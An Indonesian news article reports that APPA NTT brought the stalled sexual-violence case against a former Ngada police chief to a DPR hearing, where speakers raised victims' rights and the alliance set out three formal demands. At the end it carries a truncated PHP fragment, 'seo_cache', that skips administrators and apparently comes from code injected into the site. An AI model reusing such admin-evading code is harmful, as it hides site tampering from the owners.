Kriminal

Proses Hukum Kekerasan Seksual Mantan Kapolres Ngada Mandek, APPA NTT RDPU Bersama Komisi III

×

Proses Hukum Kekerasan Seksual Mantan Kapolres Ngada Mandek, APPA NTT RDPU Bersama Komisi III

Sebarkan artikel ini

JAKARTA, MENARASUMBA.COM – Aliansi Peduli Perempuan dan Anak (APPA) NTT mengadukan penanganan kasus dugaan kekerasan seksual mantan Kapolres Ngada yang mandek kepada Komisi III DPR RI.

Menanggapi aduan itu Komisi III DPR RI mengundang APPA NTT untuk Rapat Dengar Pendapat Umum (RDPU) bersama Komisi III dan Komisi XIII DPR RI, Selasa (20/05/2025).

Dalam suasana hari kebangkitan nasional, APPA NTT dan Forum Perempuan Diaspora NTT mendatangi DPR RI untuk memberikan keterangan dan update informasi terbaru mengenai perkembangan penangangan kasus kekerasan seksual yang diduga dilakukan oleh mantan Kapolres Ngada.

RDPU ini juga menghadirkan Kementerian Pemberdayaan Perempuan dan Anak, Komisi Perlindungan Anak Indonesia, Ombudsman Republik Indonesia, Lembaga Perlindungan Saksi dan Korban, Komisi Disabilitas Nasional, OUR Rescue, dan JarNas Anti TPPO.

Bersama pendamping hukum korban, Asti Lakalena menyampaikan informasi penanganan kasus yang mandek karena sampai saat ini belum ada perkembangan lanjutan berkas perkara.

“Berkas perkara masih bolak balik antara penyidik Polda NTT dan Kejaksaan Tinggi NTT,” ungkap Asti Laka Lena.

Ia menegaskan, bahwa korban, keluarga korban, dan masyarakat NTT sangat butuh kepastian hukum agar keadilan bagi korban tercapai.

Data kasus kejahatan seksual di NTT yang meningkat dalam 15 tahun terakhir, sebut Asti, jadi dasar utama APPA NTT mengawal kasus ini.

“Berdasarkan fakta atas data dari Kepala Kantor Wilayah Pemasyarakatan NTT 75 persen narapidana di Lembaga Pemasyarakatan dan Rumah Tahanan adalah pelaku kejahatan seksual,” tandasnya.

Korban Harus Terima Seluruh Haknya

Sementara Koordinator Forum Perempuan Diaspora NTT di Jakarta, Sere Aba meminta komitmen DPR RI untuk mengawal dan mengawasi proses penegakan hukum kasus ini.

“Pastikan agar Kejaksaan Agung dan LPSK untuk memberi pemenuhan hak-hak korban khususnya hak atas pemulihan dan restitusi,” serunya.

Ia juga meminta Mahkamah Agung sebagai mitra Komisi III DPR RI untuk merekomendasikan komposisi majelis hakim yang berperspektif terhadap korban dan sensitivitas gender.

RDPU ini juga dihadiri rohaniawan Rm Leo Mali yang dikenal sangat aktif pada isu kemanusiaan di NTT, Direktur LBH APIK NTT Ansi Rihi Dara, dan sejumlah utusan organisasi lainnya.

Secara terpisah, pendamping hukum korban Veronika Ata menegaskan, akan terus mengawal proses hukum ini sampai pada putusan yang adil bagi korban.

“Permintaan RDPU kami ajukan karena melihat penanganan kasus yang sangat lamban dan tidak transparan,” sebut Veronika.

Selaku Ketua Lembaga Perlindungan Anak (LPA) NTT ia meminta agar korban dapat menerima seluruh haknya.

“Seperti yang tertera dalam UU Nomor 31 Tahun 2014 tentang Perlindungan Saksi dan Korban, UU Nomor 35 Tahun 2012 tentang Perlindungan Anak, dan UU Nomor 12 Tahun 2022 tentang Tindak Pidana Kekerasan Seksual,” imbuhnya.

Libby Sinlaeloe salah satu yang aktif mendampingi korban dan keluarga korban menambahkan, selain proses hukum, hal utama yang harus dipikirkan oleh negara adalah pemulihan bagi korban.

Untuk proses pemulihan, korban sudah mendapatkan layanan terbaik dari negara, baik melalui Pemprov NTT maupun LPSK.

“Pemulihan bagi korban sangat penting untuk mempersiapkan proses hukum ke depannya,” tegas Libby.

Tiga tuntutan

Pada RDPU tersebut APPA NTT menyampaikan tiga tuntutan kepada DPR RI:

1.Komisi III DPR RI mengawasi dan mengawal proses hukum yang diduga dilakukan oleh AKBP Fajar Widyadharma Lukman Sumaatmaja (eks Kapolres Ngada), meminta agar proses hukum dilakukan secara transparan, akuntabel, dan tidak tunduk pada kekuasaan struktural pelaku, menjerat dan menghukum pelaku seberat-beratnya sesuai dengan peraturan perundang-undangan yang berlaku dengan pidana penjara maksimal dan hukuman kebiri kimia, serta melindungi korban, keluarga korban, dan saksi.

2.Meminta Komisi III DPR RI mendesak Kepolisian Republik Indonesia untuk memastikan penyidik Kepolisian Daerah NTT menjerat pelaku dengan UU RI Nomor 12 Tahun 2022 tentang Tindak Pidana Kekerasan Seksual, UU RI Nomor 1 Tahun 2024 tentang Perubahan Kedua atas Undang-Undang Nomor 11 Tahun 2008 tentang Informasi dan Transaksi Elektronik, UU RI Nomor 35 Tahun 2014 tentang Perubahan atas Undang-Undang Nomor 23 Tahun 2002 Tentang Perlindungan Anak, UU RI Nomor 17 Tahun 2016 tentang Penetapan Peraturan Pemerintah Pengganti Undang-Undang Nomor 1 Tahun 2016 Tentang Perubahan Kedua Atas Undang-Undang Nomor 23 Tahun 2002 Tentang Perlindungan Anak Menjadi Undang-Undang, UU RI Nomor 21 Tahun 2007 tentang Pemberantasan Tindak Pidana Perdagangan Orang, UU RI Nomor 44 Tahun 2008 tentang Pornografi.

3.Memastikan proses hukum yang ramah pada korban dan anak. ( TAP/MS )

#kekerasanseksualanak #ppa #appantt #kriminal

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>